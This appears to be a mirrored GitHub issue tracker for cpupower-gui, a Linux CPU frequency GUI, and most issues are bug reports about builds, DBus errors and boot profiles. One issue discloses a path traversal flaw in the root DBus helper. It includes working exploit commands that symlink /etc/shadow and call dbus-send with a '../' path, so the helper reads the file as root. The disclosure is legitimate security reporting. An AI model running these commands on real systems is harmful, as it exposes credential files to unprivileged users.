Coder Social home page Coder Social logo

vagnum08 / cpupower-gui Goto Github PK

View Code? Open in Web Editor NEW
410.0 410.0 30.0 3.85 MB

cpupower-gui is a graphical program that is used to change the scaling frequency limits of the cpu, similar to cpupower.

License: GNU General Public License v3.0

Python 86.89% Meson 6.42% Elixir 0.12% Roff 6.57%
gnome gtk3 gui linux python3

cpupower-gui's People

Contributors

albanobattistella avatar anirudh-acharya avatar atriwidada avatar bill88t avatar blackpantheros avatar kianmeng avatar supdrewin avatar tioguda avatar vagnum08 avatar vistaus avatar yjwork-cn avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

cpupower-gui's Issues

Display current CPU frequency

Occasionally I notice that my system slows down despite reasonable min/max frequency settings.
A few times I've realized this is caused by the CPU being forced into a lower frequency due to thermal throttling or some other reason.

Would it be possible to include a Current Frequency display in cpupower-gui?

This information is shown in cpupower frequency-info:

# cpupower frequency-info
analyzing CPU 0:
(...)
  current CPU frequency: Unable to call hardware
  current CPU frequency: 800 MHz (asserted by call to kernel)     <-------------
(...)

As frequency changes rather often, this panel would have to refresh constantly.

Settings not init at runtime

I do get

Traceback (most recent call last):
  File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 76, in do_activate
    win = CpupowerGuiWindow(application=self)
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 177, in __init__
    self.load_cpu_settings()
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 207, in load_cpu_settings
    self.energy_pref_avail = self.settings[0].energy_pref_avail
KeyError: 0

when running the program. Starting from desktop file also does not work.

  • version: 1.0.0 and upstream
  • distro: arch

auto apply handling

Describe the issue

  • directly upon installation, automatically enabled included services unconditionally apply some profile at boot

  • to adjust the configuration that’s used at boot, one needs to know to either edit config in /etc or to manually start as root (it’s a GUI…)

    • any config in /etc basically gets invalidated silently once you used the GUI as root for the first time
    • it’s not obvious that you need to start as root, especially since it works just fine to change the settings live without root
    • a disabled apply-service gets re-enabled during a package update
  • the default Balanced profile may be undesired

    • in my case this resulted in powersave being applied at every boot, just by installing the package
    • that seems to be improved to schedutil in git

Expected behaviour

  • program doesn’t interfere with CPU governor at boot simply by installing or starting it
  • it is obvious in the GUI what’s applied at boot and how to configure it

suggested solution

  • »Apply at boot« toggle in the GUI that’s disabled by default.
  • show state of apply service
    • only the global service if that is the only one to be configured
    • the user or global service depending on if it’s run as root, or switchable if the distinction remains desired
  • when starting via non-root, user is directed to boot configuration by
    • direct adjustment in the GUI via the already running services
    • enable/disable service as user or global (via elevation/sudo prompt)
    • highlighted request to manually run as root

Setup (please complete the following information):

  • Distro: Arch
  • Package version: 1.0 as well as git
  • Installed via: aur

Additional stuff
It would also be nice to rename the apply service to something that includes »boot« or »apply« – it’s not immediately obvious that that’s what it does without checking its description.

Fails to load configuration during boot

Problem
I've created a profile within cpupower-gui and everything seem to be working OK in current session. After i rebooted machine i received message that cpupower-gui failed to set profile.

To Reproduce
Steps to reproduce the behaviour:

  1. Create new profile configuration, apply settings.
  2. Reboot PC
  3. During boot an error message will occur(you need to be fast to see it it will disappear quickly): Failed to start Apply cpupower-gui configt at boot.
  4. After booting into system, start cpupower-gui application again and see frequencies and profile (validate if that's the one you have set in previous session).

Expected behaviour
To boot without error message and to have my cpu frequencies saved afterwards.

Setup

  • Distro: Manjaro
  • Package version: 1.0.0-2
  • Installed via: Pamac / AUR repo

Additional context
To check failed services during boot use systemctl command.

Cannot install it properly

Followed the readme to install..
on ninja -C build install , i get this:

`No such key “show-mount” in schema “org.gnome.shell.extensions.ding:pop” as specified in override file “/usr/share/glib-2.0/schemas/50_pop-session.gschema.override”; ignoring override for this key.`

after this , i tried to open both the gui and throught the terminal, i get this:
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 177, in activate_name_owner
    return self.get_name_owner(bus_name)
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 361, in get_name_owner
    return self.call_blocking(BUS_DAEMON_NAME, BUS_DAEMON_PATH,
  File "/usr/lib/python3/dist-packages/dbus/connection.py", line 652, in call_blocking
    reply_message = self.send_message_with_reply_and_block(
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.NameHasNoOwner: Could not get owner of name 'org.rnd2.cpupower_gui.helper': no such name

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/bin/cpupower-gui", line 33, in <module>
    from cpupower_gui.helper import (
  File "/usr/share/cpupower-gui/cpupower_gui/helper.py", line 14, in <module>
    SESSION = BUS.get_object(
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 241, in get_object
    return self.ProxyObjectClass(self, bus_name, object_path,
  File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 250, in __init__
    self._named_service = conn.activate_name_owner(bus_name)
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 182, in activate_name_owner
    self.start_service_by_name(bus_name)
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 277, in start_service_by_name
    return (True, self.call_blocking(BUS_D

I use PopOS 20.10 with the mainline 5.9.6 kernel

Can't install on Deepin

Hello, I wonder if there is a way to install this app on Deepin? Build requires meson.build:1:0: ERROR: Meson version is 0.49.2 but project requires >= 0.50.0. and I can't find anything in repositories..

authorization is checked only once

_is_authorized checks authorization of a sender only once if the authorization succeeds. This prevents me from restricting CPU frequency changes only to active users. I guess this is bit theoretical but a user could do the following:

  1. Login to the system
  2. Connect to the system bus and call some method of the cpupower-gui service that calls _is_authorized. Since the user is active self.authorized[sender] gets populated.
  3. Lock the screen or even log out completely but leave the dbus client running.
  4. Wait for some other user to log in.
  5. Start annoying the locally logged-in user by slowing down the system :)

Similarly if you for example require the user to be in some group (wheel in the example), I cannot just remove the user from the group since the authorization is not checked for each call. This is something that policykit was specifically designed to fix afaik (typically group changes required logout/login).

Show custom (non built-in) profiles in GNOME menus

This is about CPU Power GUI icon either on

  • the (usually) horizontal bar (which shows time, wifi, battery/turn off...) - left/primary click, or
  • the Dock or Dash (whichever it is, I have them merged) - right/context click
    in version 1.0.0. in GNOME (v. 41.2 on current Manjaro).

Currently those clicks show a menu

  • Switch to performance profile
  • Switch to balanced profile
    (If you're performing an exact match in the code, beware: Dock/Dash bar icon has "Performance" and "Balanced" starting with a capital letter.)

Could these two menus also show custom profiles (as listed in the app itself), please?

Broken build meson

Describe the bug
Meson cant configure
To Reproduce
Steps to reproduce the behaviour:
download the last releases tar gz tarbal
extract it
install build dependencies (fedora or arch)
run meson build --prefix /usr -Dsystemddir=/usr/lib/systemd/ -Dpkla=true -Duse_libexec=true
see the error
data/meson.build:14:0: ERROR: Function does not take positional arguments.
Expected behaviour
expect to pase the meson config
Setup (please complete the following information):

  • Distro: fedora, arch
  • Package version: 1.0.0
  • Installed via: source

Additional context
data/meson.build:14-*

desktop_file = i18n.merge_file(
'desktop',
input: configure_file(
input: files('org.rnd2.cpupower_gui.desktop.in.in'),
output: 'org.rnd2.cpupower_gui.desktop.in',
configuration: desktop_conf
),
output: 'org.rnd2.cpupower_gui.desktop',
type: 'desktop',
po_dir: '../po',
install: true,
install_dir: join_paths(get_option('datadir'), 'applications')
)

[Linux Mint 20.2] cpupower-gui 1.0.0 fails to start

Describe the bug
the GUI fails to start, some issue about Handy.

To Reproduce
Steps to reproduce the behaviour:

  1. Install from the build repo.
  2. start the app.
  3. See error:
Traceback (most recent call last):
  File "/usr/bin/cpupower-gui", line 367, in <module>
    from cpupower_gui import main
  File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 38, in <module>
    from .window import CpupowerGuiWindow
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 23, in <module>
    gi.require_version("Handy", "1")
  File "/usr/lib/python3/dist-packages/gi/__init__.py", line 132, in require_version
    raise ValueError('Namespace %s not available for version %s' %
ValueError: Namespace Handy not available for version 1
Error in sys.excepthook:
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/apport_python_hook.py", line 153, in apport_excepthook
    with os.fdopen(os.open(pr_filename,
FileNotFoundError: [Errno 2] No such file or directory: '/var/crash/_usr_bin_cpupower-gui.1000.crash'

Original exception was:
Traceback (most recent call last):
  File "/usr/bin/cpupower-gui", line 367, in <module>
    from cpupower_gui import main
  File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 38, in <module>
    from .window import CpupowerGuiWindow
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 23, in <module>
    gi.require_version("Handy", "1")
  File "/usr/lib/python3/dist-packages/gi/__init__.py", line 132, in require_version
    raise ValueError('Namespace %s not available for version %s' %
ValueError: Namespace Handy not available for version 1

Expected behaviour
App starts.

Setup (please complete the following information):

  • Distro:Linux Mint 20.2
  • Package version: 1.0.0
  • Installed via: package

It won't compile in Debian stable (bullseye)

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]

Describe the solution you'd like
A clear and concise description of what you want to happen.

Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.

Additional context
Add any other context or screenshots about the feature request here.

It won't compile in Debian stable (bullseye):

meson.build:1:0: ERROR: Meson version is 0.56.2 but project requires >= 0.58.0

The openSUSE builds don't work. This is the error:

Traceback (most recent call last):
File "/usr/bin/cpupower-gui", line 367, in
from cpupower_gui import main
File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 38, in
from .window import CpupowerGuiWindow
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 23, in
gi.require_version("Handy", "1")
File "/usr/lib/python3/dist-packages/gi/init.py", line 126, in require_version
raise ValueError('Namespace %s not available' % namespace)
ValueError: Namespace Handy not available

It would be great it were possible to install the last version in Debian bullseye.

Cannot apply profile at boot, and CPU boost is locked

Problem
I've create a profile and apply it to my machine. Everything is OK till I restart or shutdown my laptop then turn on back.
After reboot, In Profile tab, it returns "No profile" as image 1 though I've set my profile at boot as image 2

  • Image 1: "No profile" at startup
    image

  • Image 2: Set default profile at boot and CPU maximum frequency is locked at 1600MHz
    image

To Reproduce
Steps to reproduce the behaviour:

  1. Create a new profile, then apply settings
  2. Select it as default profile at boot
  3. Restart machine
  4. Profile return "No profile" and configuration is diffirent to my profile

Expected behaviour
Boot to machine with default profile as I've set.

Setup (please complete the following information):

  • Distro: Manjaro 21.1 Gnome 40 on Xorg (and Wayland)
  • Package version: AUR package at this link
  • Installed via: pamac, also clone it and make install via makepkg
  • Chipset: Intel core i5 8250U 400 Mhz - 3400 Mhz

Additional context

  • systemctl output:
    image

  • systemctl status output:
    image

Permissions missing on Arch Linux

Describe the bug
The application appears to not be getting permissions through dbus

To Reproduce

  1. Start application from terminal
  2. Change settings
  3. Apply

Expected behaviour
Governor and frequencies updated

Setup (please complete the following information):
Currently have installed

  • Distro: arch linux - 5.4.2
  • Installed via: [package]
  • Package version: 0.7.2.r9
  • Deps:
    python-dbus - 1.2.14-1

Additional context

$ cpupower-gui

(cpupower-gui:23309): IBUS-WARNING **: 12:11:06.025: Unable to connect to ibus: Could not connect: Connection refused
Traceback (most recent call last):
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 227, in on_apply_clicked
    "You don't have permissions to update cpu settings!", self.window
AttributeError: 'CpupowerGuiWindow' object has no attribute 'window'

gapplication: error sending Activate message to application

Distro: Mint 19.3 (Ubuntu 18.04)
cpupower-gui: 0.8.0
system python: 3.6.9

Followed the newest build steps from README and #18 but it did not work. Initially got gi version error so took these steps:

apt install libgirepository1.0-dev gcc libcairo2-dev pkg-config python3-dev gir1.2-gtk-3.0
pip3 install pycairo --upgrade
pip3 install PyGObject --upgrade

This fixed the version error but cpupower-gui still will not start:

gapplication launch org.rnd2.cpupower_gui
error sending Activate message to application: GDBus.Error:org.freedesktop.DBus.Error.Spawn.ChildExited: Process org.rnd2.cpupower_gui exited with status 1

I also tried to start it directly by /usr/bin/python3 /usr/bin/cpupower-gui which produces:

Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 175, in activate_name_owner
    return self.get_name_owner(bus_name)
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 361, in get_name_owner
    's', (bus_name,), **keywords)
  File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
    message, timeout)
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.NameHasNoOwner: Could not get owner of name 'org.rnd2.cpupower_gui.helper': no such name

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/bin/cpupower-gui", line 40, in <module>
    from cpupower_gui import main
  File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 36, in <module>
    from .window import CpupowerGuiWindow
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 26, in <module>
    "org.rnd2.cpupower_gui.helper", "/org/rnd2/cpupower_gui/helper"
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 241, in get_object
    follow_name_owner_changes=follow_name_owner_changes)
  File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 248, in __init__
    self._named_service = conn.activate_name_owner(bus_name)
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 180, in activate_name_owner
    self.start_service_by_name(bus_name)
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 278, in start_service_by_name
    'su', (bus_name, flags)))
  File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
    message, timeout)
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.TimedOut: Failed to activate service 'org.rnd2.cpupower_gui.helper': timed out (service_start_timeout=25000ms)
Error in sys.excepthook:
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/apport_python_hook.py", line 154, in apport_excepthook
    os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o640), 'wb') as f:
FileNotFoundError: [Errno 2] No such file or directory: '/var/crash/_usr_bin_cpupower-gui.0.crash'

Original exception was:
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 175, in activate_name_owner
    return self.get_name_owner(bus_name)
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 361, in get_name_owner
    's', (bus_name,), **keywords)
  File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
    message, timeout)
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.NameHasNoOwner: Could not get owner of name 'org.rnd2.cpupower_gui.helper': no such name

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/bin/cpupower-gui", line 40, in <module>
    from cpupower_gui import main
  File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 36, in <module>
    from .window import CpupowerGuiWindow
  File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 26, in <module>
    "org.rnd2.cpupower_gui.helper", "/org/rnd2/cpupower_gui/helper"
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 241, in get_object
    follow_name_owner_changes=follow_name_owner_changes)
  File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 248, in __init__
    self._named_service = conn.activate_name_owner(bus_name)
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 180, in activate_name_owner
    self.start_service_by_name(bus_name)
  File "/usr/lib/python3/dist-packages/dbus/bus.py", line 278, in start_service_by_name
    'su', (bus_name, flags)))
  File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
    message, timeout)
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.TimedOut: Failed to activate service 'org.rnd2.cpupower_gui.helper': timed out (service_start_timeout=25000ms)

Application Fails To Launch After Updating

Hi there, I used Kubuntu 20.10 and installed CPUPower-GUI from the repositories and the application worked fine.

However after updating to a newer version it no longer launches, so I removed / purged the newer version and reinstalled the version from the 20.10 repositories but now the application does not want to load at all and spits out the following message in the Terminal.

ryan@RYAN-PC:~$ cpupower-gui
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 177, in activate_name_owner
return self.get_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 361, in get_name_owner
return self.call_blocking(BUS_DAEMON_NAME, BUS_DAEMON_PATH,
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 652, in call_blocking
reply_message = self.send_message_with_reply_and_block(
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.NameHasNoOwner: Could not get owner of name 'org.rnd2.cpupower_gui.helper': no such name

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/bin/cpupower-gui", line 40, in
from cpupower_gui import main
File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 36, in
from .window import CpupowerGuiWindow
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 25, in
SESSION = BUS.get_object(
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 241, in get_object
return self.ProxyObjectClass(self, bus_name, object_path,
File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 250, in init
self._named_service = conn.activate_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 182, in activate_name_owner
self.start_service_by_name(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 277, in start_service_by_name
return (True, self.call_blocking(BUS_DAEMON_NAME, BUS_DAEMON_PATH,
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 652, in call_blocking
reply_message = self.send_message_with_reply_and_block(
dbus.exceptions.DBusException: org.freedesktop.systemd1.UnitMasked: Unit cpupower-gui-helper.service is masked.
ryan@RYAN-PC:~$

Any ideas?

A way to see available frequencies?

I set frenquencies as recommended in /sys/device/system/cpu/cpu*/cpufreq/scaling_available_frequencies and did the same when I ran tlp as reported with the command sudo tlp-stat -p

Or does it make any difference if I follow those recommended frequencies or just chose something else?

Anyway. Great program :)

Fedora 34 cpupower-gui build

Hello! I've been using cpupower-gui for a long time. I just wanted to ask that is there a plan to build new release cpupower-gui for Fedora34? You know we use Fedora33 build and it has some issues also that I will create issue later on. Even with version difference, it's working great (with some minor issues)

Build instructions do not reflect switch to meson

Is your feature request related to a problem? Please describe.
The build instructions in the README are for the old bulld system using autoconf not the new build system using meson and ninja.

Describe the solution you'd like
I would like instructions for building using meson (though I expect they follow the conventional meson workflow).

Additional context
The errors I'm getting with install may be due to me using meson incorrectly so this will allow me to determine the cause.

Rendering is cut off for frequency

I am using KDE 5.20.0 in Arch using the default Breeze theme and color sets.

Screenshot_20201016_073710

As you can see in the image, the numbers in the CPU frequency are cut off. It is most evident with the 0 number a the end.

Also, the bottom profile box is out of alignment and cut off by the window.

Unable To Launch Version 1.0.0

Hi there.

Version 1.0.0 has been installed on my system for a while (Kubuntu 21.04) but when I attempted to launch it today it did not work.

So I launched it through the Terminal and got the following output.

Traceback (most recent call last):
File "/usr/bin/cpupower-gui", line 367, in
from cpupower_gui import main
File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 38, in
from .window import CpupowerGuiWindow
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 23, in
gi.require_version("Handy", "1")
File "/usr/lib/python3/dist-packages/gi/init.py", line 129, in require_version
raise ValueError('Namespace %s not available for version %s' %
ValueError: Namespace Handy not available for version 1

I've reinstalled it, and have not resolved this issue.

Any ideas?

Governor reverting to performance

I've been using this for quite some time. I use a script to set the governor to powersave upon startup. Most of the time, it works well, but the governor randomly reverts to performance.
I thought that's because of a high load. So I ran some stress tests, which, however, didn't change the governor.
The change seems to be random. Is that a bug?

Invalid argument error while reading scaling_governor

image
When I run it on Arch with XFCE4, it cannot detect the CPUs or their frequency limits. Additionally, when I run it in the terminal, I get

[seedship@triple-destinies ~]$ cpupower-gui
Traceback (most recent call last):
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 133, in on_cpu_changed
self.upd_sliders()
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 107, in upd_sliders
self._read_settings(cpu)
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 244, in _read_settings
self.governor = HELPER.get_cpu_governor(cpu)
File "/usr/lib/python3.8/site-packages/dbus/proxies.py", line 141, in call
return self._connection.call_blocking(self._named_service,
File "/usr/lib/python3.8/site-packages/dbus/connection.py", line 652, in call_blocking
reply_message = self.send_message_with_reply_and_block(
dbus.exceptions.DBusException: org.freedesktop.DBus.Python.OSError: Traceback (most recent call last):
File "/usr/lib/python3.8/site-packages/dbus/service.py", line 711, in _message_cb
retval = candidate_method(self, *args, **keywords)
File "/usr/lib/cpupower-gui/cpupower-gui-helper", line 235, in get_cpu_governor
return read_governor(cpu)
File "/usr/lib/cpupower-gui/cpupower-gui-helper", line 144, in read_governor
governor = sys_file.readline().strip()
OSError: [Errno 22] Invalid argument

Traceback (most recent call last):
File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 93, in do_activate
win = CpupowerGuiWindow(application=self)
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 72, in init
self._read_settings(self._get_active_cpu())
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 244, in _read_settings
self.governor = HELPER.get_cpu_governor(cpu)
File "/usr/lib/python3.8/site-packages/dbus/proxies.py", line 141, in call
return self._connection.call_blocking(self._named_service,
File "/usr/lib/python3.8/site-packages/dbus/connection.py", line 652, in call_blocking
reply_message = self.send_message_with_reply_and_block(
dbus.exceptions.DBusException: org.freedesktop.DBus.Python.OSError: Traceback (most recent call last):
File "/usr/lib/python3.8/site-packages/dbus/service.py", line 711, in _message_cb
retval = candidate_method(self, *args, **keywords)
File "/usr/lib/cpupower-gui/cpupower-gui-helper", line 235, in get_cpu_governor
return read_governor(cpu)
File "/usr/lib/cpupower-gui/cpupower-gui-helper", line 144, in read_governor
governor = sys_file.readline().strip()
OSError: [Errno 22] Invalid argument

(cpupower-gui:8991): Gdk-CRITICAL **: 15:40:20.647: gdk_window_thaw_toplevel_updates: assertion 'window->update_and_descendants_freeze_count > 0' failed

Error due to the version of python3 and its module

My Python version is 3.5.3 and the following syntax is not supported. Hope to replace it with compatible statement.

print(f"WARNING! Unknown CPU frequency, cause: {e}")

I also have this issue : AttributeError: 'gi.repository.Gtk' object has no attribute 'Template'
tuhiproject/tuhi#197
It seems that module PyGObject version should be greater than 3.30 .

You can note these dependency issue in README file. Thanks.

Governor column value fails to update when governor is changed outside of the GUI

Describe the bug
When using the app "cpupower-gui" CPU, Online, Min, Max, Governor and Current freq, display normally. If the user changes the profile using the command line, the GUI does not detect the change except for the "Current freq." column. Every other column remains with old values.

To Reproduce
Steps to reproduce the behaviour:

  1. OPEN cpupower-gui and take note of the values in the Governor column
  2. SWITCH to a terminal run "cpupower-gui -p" or "cpupower-gui -b"
  3. MONITOR the Governor column on the cpupower-gui app
  4. NOTICE all values remain unchanged except for the "Current freq." column.

Expected behaviour
Cpupower-gui should update ALL columns when changes to CPU governors happen outside of using the gui app.

Setup (please complete the following information):

  • Distro: Manjaro
  • Package version: 1.0.0 -2
  • Installed via: AUR
  • Kernel: 5.10.0-1-MANJARO
  • Processor: AMD Ryzen 9 5950X 16-Core Processor

Additional context
NA

Show in the list of active applications

CPU Power GUI version 1.0.0. in GNOME (v. 41.2 on current Manjaro).
Currently, Alt+TAB and pressing the Windows key don't show CPU Power GUI among the active applications. Is it possible to show it, please?

And, if possible, could we have a configuration option for this (whether to show it there or not).

path traversal vulnerability in org.rnd2.cpupower_gui.helper.settings due to variant types

Type of the "cpu" argument in org.rnd2.cpupower_gui.helper.settings is not specific explicitly using the in_signature keyword argument of the decorator. The default type is a variant type which means that the method can be called such that "cpu" is actually a string. The string is then used to construct a file path that is then opened as root. This allows any user on the system to read the first line of any file on the system. Or it would, if "settings" method actually returned the settings (currently, it just prints it to stdout).

Here's an exploit example:

mkdir /tmp/cpufreq
ln -s /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq /tmp/cpufreq
ln -s /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq /tmp/cpufreq
ln -s /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_min_freq /tmp/cpufreq
ln -s /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq /tmp/cpufreq
ln -s /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor /tmp/cpufreq
ln -s /etc/shadow /tmp/cpufreq/scaling_available_governors
dbus-send --system --dest=org.rnd2.cpupower_gui.helper --type=method_call --print-reply /org/rnd2/cpupower_gui/helper org.rnd2.cpupower_gui.helper.settings variant:string:0/../../../../../tmp

Similar problem also affects "update_cpu_settings" and allows any authorized user to write any file on the system.

Frequency automatically gets reset after being applied

Describe the bug
A clear and concise description of what the bug is.

On my AMD Ryzen 7 5700U, any change I make to the frequency with the sliders is immediately reset after applying.

To Reproduce
Steps to reproduce the behaviour:

  1. Change frequency using sliders
  2. Apply
  3. Notice that it gets reset

Expected behaviour
A clear and concise description of what you expected to happen.

Allow frequency to be changed, or display the change properly if it is being applied

Setup (please complete the following information):

  • Distro: Ubuntu 21.10
  • Package version: 1.0.0
  • Installed via: source

Additional context
Add any other context about the problem here.

The frequency shown by the Current freq. column as well as cat \proc\cpuinfo | grep MHz is higher than the max frequency shown by the slider, although the two do not match each other for some reason.

2022-01-02.20-47-49.mp4

Memory Leak

This program has a memory leak.

Program was installed via the AUR.

Can't install under Ubuntu 20.04 (Linux Mint)

Describe the bug
I followed "Debian/Ubuntu and derivatives" guide in the README.

echo 'deb http://download.opensuse.org/repositories/home:/erigas:/cpupower-gui/xUbuntu_20.04/ /' | sudo tee /etc/apt/sources.list.d/home:erigas:cpupower-gui.list
curl -fsSL https://download.opensuse.org/repositories/home:erigas:cpupower-gui/xUbuntu_20.04/Release.key | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/home:erigas:cpupower-gui.gpg > /dev/null
sudo apt update

I receive this error after apt update:

W: No Hash entry in the Release /var/lib/apt/lists/partial/download.opensuse.org_repositories_home:_erigas:_cpupower-gui_xUbuntu%5f20.04_InRelease file
E: The "http://download.opensuse.org/repositories/home:/erigas:/cpupower-gui/xUbuntu_20.04 InRelease" repository only provides weak security information.
N: Upgrading from this repository cannot be done securely and is therefore disabled by default.
N: See the apt-secure(8) man page for repository creation and user configuration.

Setup (please complete the following information):

  • Distro: LinuxMint (Ubuntu 20.04)

cpupower-gui fails to launch

Describe the bug
The GUI failed to start when tried to launch via the shortcut or the terminal

To Reproduce
Steps to reproduce the behaviour:

  1. Find the application
  2. Either click on 'cpupower-gui' via the menu or type it out in the terminal.
  3. Nothing happened via the menu but if used the terminal then step 4.
  4. See error

Expected behaviour
A traceback provided by Python.

Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 175, in activate_name_owner
return self.get_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 361, in get_name_owner
's', (bus_name,), **keywords)
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.NameHasNoOwner: Could not get owner of name 'org.rnd2.cpupower_gui.helper': no such name

During` handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/bin/cpupower-gui", line 40, in
from cpupower_gui import main
File "/usr/share/cpupower-gui/cpupower_gui/main.py", line 36, in
from .window import CpupowerGuiWindow
File "/usr/share/cpupower-gui/cpupower_gui/window.py", line 26, in
"org.rnd2.cpupower_gui.helper", "/org/rnd2/cpupower_gui/helper"
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 241, in get_object
follow_name_owner_changes=follow_name_owner_changes)
File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 248, in init
self._named_service = conn.activate_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 180, in activate_name_owner
self.start_service_by_name(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 278, in start_service_by_name
'su', (bus_name, flags)))
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.systemd1.NoSuchUnit: Unit cpupower-gui-helper.service not found.

Setup (please complete the following information):

  • Distro: Linux Mint 19.3 Cinammon
  • Package version: Latest one
  • Installed via: Meson build system and Ninja as the backend

Additional context
None.

Version 0.9.0 fails to start

Hi @vagnum08

When launching version 0.9.0 built from git (tag v0.9.0), I get:

% cpupower-gui
Traceback (most recent call last):
  File "/nix/store/96l1iirm7i91211a3c3xl2ysam3y83b8-cpupower-gui-0.9.0/bin/.cpupower-gui-wrapped", line 126, in <module>
    conf = CpuPowerConfig()
  File "/nix/store/96l1iirm7i91211a3c3xl2ysam3y83b8-cpupower-gui-0.9.0/share/cpupower-gui/cpupower_gui/config.py", line 45, in __init__
    self._read_profiles()
  File "/nix/store/96l1iirm7i91211a3c3xl2ysam3y83b8-cpupower-gui-0.9.0/share/cpupower-gui/cpupower_gui/config.py", line 69, in _read_profiles
    files = self.user_conf.glob("*.profile")
AttributeError: 'NoneType' object has no attribute 'glob'

running with Python 3.7.

I didn't do anything other than installing 0.9.0 and launching it. 0.8.0 still runs fine.

Setup (please complete the following information):

  • Distro: NixOS
  • Package version: 0.9.0
  • Installed via: source

Configurable default settings

I would like to have the "All CPUs" switch on by default.

